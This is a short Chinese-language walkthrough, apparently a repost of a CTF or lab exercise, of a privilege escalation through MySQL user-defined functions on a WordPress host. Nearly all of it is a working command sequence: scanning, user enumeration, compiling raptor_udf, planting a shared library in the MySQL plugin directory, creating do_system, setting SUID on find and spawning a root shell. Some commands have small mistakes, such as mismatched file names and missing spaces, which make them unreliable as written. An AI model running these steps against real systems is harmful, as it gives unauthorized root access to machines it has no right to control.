mysql提权

Namp 扫描ip端口
Cms 探测 wpscan kali 工具
Wpscan 扫描出来用户名。用用户名登录ssh
然后利用mysql UDF提权。

1.gcc -g -c raptor_udf.c 编译一下下载的c文件
2.gcc -g -shared -Wl,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
3.登录mysql
4.Create table foo(line blob);
5.scp raptor_udf2.so michael@192.168.111.136:/var/www/html/wordpress/
6.第五步是用来传递文件到目标服务器上的
7.Insertintofoovalues(load_file('/var/www/html/wordpress/raptor_udf5.so'));
8.select * from foo into dumpfile '/usr/lib/mysql/plugin/aaa.so'；
9.create function do_system returns integer soname 'aaa.so';
10.select do_system('id > /tmp/out; chown michael.michael /tmp/out');
11.!Sh
12.cat /tmp/out
13.加载 select do_system('chmod u+s /usr/bin/find');
14.然后推出mysql 直接用

touch foo

find foo -exec 'whoami' ;
find foo -exec 'id' ;
find foo -exec '/bin/sh' ;

就是root权限

转载于:https://juejin.im/post/5caaedf96fb9a05e233ca94b